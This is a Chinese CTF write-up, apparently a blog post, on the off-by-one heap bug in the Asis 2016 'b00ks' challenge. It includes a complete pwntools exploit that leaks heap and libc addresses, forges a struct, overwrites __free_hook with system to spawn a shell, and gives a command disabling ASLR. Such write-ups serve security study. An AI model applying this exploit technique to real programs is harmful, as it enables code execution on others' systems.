zoukankan      html  css  js  c++  java
  • off-by-one

    off-by-one

    严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区写入时,写入的字节数超过了这个缓冲区本身申请的字节数并且只越界了一个字节

    char buf[size];
    for (int i = 0; i <= size; i++) {
        buf[i] = getchar();
    }
    

    通常是在buf[size]位置在非法写入一个字节,堆上(heap based) 的 off-by-one 是 CTF 中比较常见的

    Asis-2016-b00ks | off-by-one

    IDA分析,已下是逆向过的代码,方便理解

    Change先在author处输入32个字节,此处有off-by-one漏洞,触发需要注意代码执行顺序

    之后是菜单选择,Create主要是创建book结构体以及book_list

    为方便理解用调试看一下

    绿框是我们输入的author name,红框是book1,蓝框是booklist,可以容纳最多20本书(20的原因是下面的check full函数)

    绿色,红色,橙色分别对应name,description,book,红色框是可以变化的,取决于size,下图的后三行中的0x30大小的chunk是截止到目前调用一次Create(3次malloc)

    可以看出Print是按地址解析的。

    漏洞利用

    泄露book1地址

    # leak book1_addr
    book_id, book_name, book_des, book_author = print_book(1) # print book1_addr 
    ru("A"*32)
    book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
    log.info("book1_addr: " + hex(book1_addr))
    
    book2_addr = book1_addr + 0x30 # we can know from malloc(book) 0x20+0x10(chunkhead)
    

    echo 0 > /proc/sys/kernel/randomize_va_space

    从堆的角度来说其实是chunk的mem而不是chunkptr,可以利用off-by-one泄露

    fake_book

    # fake book_struct in book1_description
    # 0x60 =hex(0x300-0x2a0) 0x300 is after off-by-one
    # offset +fake_book_id +fake_book_name(book2_addr+8=book2_name_ptr)
    payload = 'a' * 0x60 + mypack(1) + mypack(book2_addr + 8) *2 + mypack(0xffff)
    edit_book(1, payload) # write into book1_description 
    

    计算libcbase

    # libcbase debug:offset = name_ptr - libc
    offset =   0x7ffff7fb9010- 0x7ffff79e2000
    libcbase = book2_name_addr - offset
    log.info("libcbase: " + hex(libcbase))
    
    

    libc_binsh & _free_hook

    ### reference
    free_hook = libc.symbols['__free_hook'] + libcbase
    system = libc.symbols['system'] + libcbase
    
    binsh_addr = libc.search(b'/bin/sh').__next__() + libcbase
    
    payload = mypack(binsh_addr) + mypack(free_hook)
    edit_book(1, payload)
    
    payload = mypack(system)
    edit_book(2, payload)
    
    delete_book(2)
    io.interactive()
    

    完整exp

    from pwn import *
    context(log_level='debug',os='linux',arch='amd64')
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    #context.terminal = ['tmux','splitw','-h'] #docker
    #gdb.attach(proc.pidof(p)[0],gdbscript="b *0x4008cb")
    DEBUG = 0 # debug model 1 for debug
    LOCAL = 1 # control local or process
    
    if LOCAL:
        io = process('./b00ks')
    else:
        io = remote('127.0.0.1', 5678)
    
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    # used for debug
    image_base = 0x555555554000
    bp = image_base + 0x202040
    if DEBUG:
        pwnlib.gdb.attach(io)
    
    rv = io.recv
    ru = io.recvuntil
    rl = io.readline
    sd = io.send
    sa = io.sendafter
    sl = io.sendline
    sla = io.sendlineafter
    
    def mypack(input):
        return p64(input).decode("iso-8859-1")
    
    def myunpack(input):
        return u64(input.ljust(8,bytes('0','iso-8859-1')))
    
    def create_book(name_size, name, description_size, description):
        sla(">", "1")
        sla("Enter book name size:", str(name_size))
        sla("Enter book name (Max 32 chars):", name)
        sla("Enter book description size: ", str(description_size))
        sla("Enter book description: ", str(description))
        log.info("Create")
    
    def delete_book(idx):
        sla(">", "2")
        sla("Enter the book id you want to delete: ", str(idx))
        log.info("Delete")
    
    def edit_book(idx, description):
        sla(">", "3")
        sla("Enter the book id you want to edit: ", str(idx))
        ru("Enter new book description")
        sla(": ", description)
        log.info("Edit")
    
    def print_book(idx):
        sla(">", "4")
        for i in range(idx):
            ru(": ")
            book_id = int(rl()[:-1])
            ru(": ")
            book_name = rl()[:-1]
            ru(": ")
            book_des = rl()[:-1]
            ru(": ")
            book_author = rl()[:-1]
        log.info("print_book")
        return book_id, book_name, book_des, book_author
    
    def change_name(name):
        sla(">", "5")
        sla("Enter author name: ", name)
        log.info("change name")
    
    def create_name(name):
        sla("name:", name)
    
    
    
    create_name("A" * 32)
    create_book(0x20, "a", 0x80, "b") 
    create_book(0x21000, "c", 0x21000, "d") # mmap malloc
    # leak book1_addr
    book_id, book_name, book_des, book_author = print_book(1) # print book1_addr 
    ru("A"*32)
    book1_addr = u64(book_author[32:32+6].ljust(8, b"x00"))
    log.info("book1_addr: " + hex(book1_addr))
    
    
    
    book2_addr = book1_addr + 0x30 # we can know from malloc(book) 0x20+0x10(chunkhead)
    # fake book_struct in book1_description
    # 0x60 =hex(0x300-0x2a0) 0x300 is after off-by-one
    # offset +fake_book_id +fake_book_name(book2_addr+8=book2_name_ptr)
    payload = 'a' * 0x60 + mypack(1) + mypack(book2_addr + 8) *2 + mypack(0xffff)
    edit_book(1, payload) # write into book1_description 
    sleep(1)
    
    ### leak book2_name_ptr
    
    change_name('A'*32)
    # leak book2_name ptr
    book_id, book_name, book_des, book_author = print_book(1)
    
    book2_name_addr = u64(book_des.ljust(8, b"x00"))
    log.info("book2_name_addr: " + hex(book2_name_addr))
    
    # libcbase debug:offset = name_ptr - libc
    offset =   0x7ffff7fb9010- 0x7ffff79e2000
    libcbase = book2_name_addr - offset
    log.info("libcbase: " + hex(libcbase))
    
    ### reference
    free_hook = libc.symbols['__free_hook'] + libcbase
    system = libc.symbols['system'] + libcbase
    
    binsh_addr = libc.search(b'/bin/sh').__next__() + libcbase
    
    payload = mypack(binsh_addr) + mypack(free_hook)
    edit_book(1, payload)
    
    payload = mypack(system)
    edit_book(2, payload)
    
    delete_book(2)
    io.interactive()
    

    参考:
    https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/
    https://www.cnblogs.com/liyuechan/p/10477418.html

    zer0_1s
  • 相关阅读:
    作为 务注册中心,Eureka比Zookeeper好在哪里?
    什么是 Ribbon负载均衡?
    Ribbon负载均衡能干什么?
    什么是feigin?它的优点是什么?
    Ribbon和Feign的区别?
    什么是Spring Cloud Bus?
    springcloud断路器作用?
    springcloud如何实现服务的注册?
    Eureka和Zookeeper区别?
    eureka自我保护机制是什么?
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/15161144.html
Copyright © 2011-2022 走看看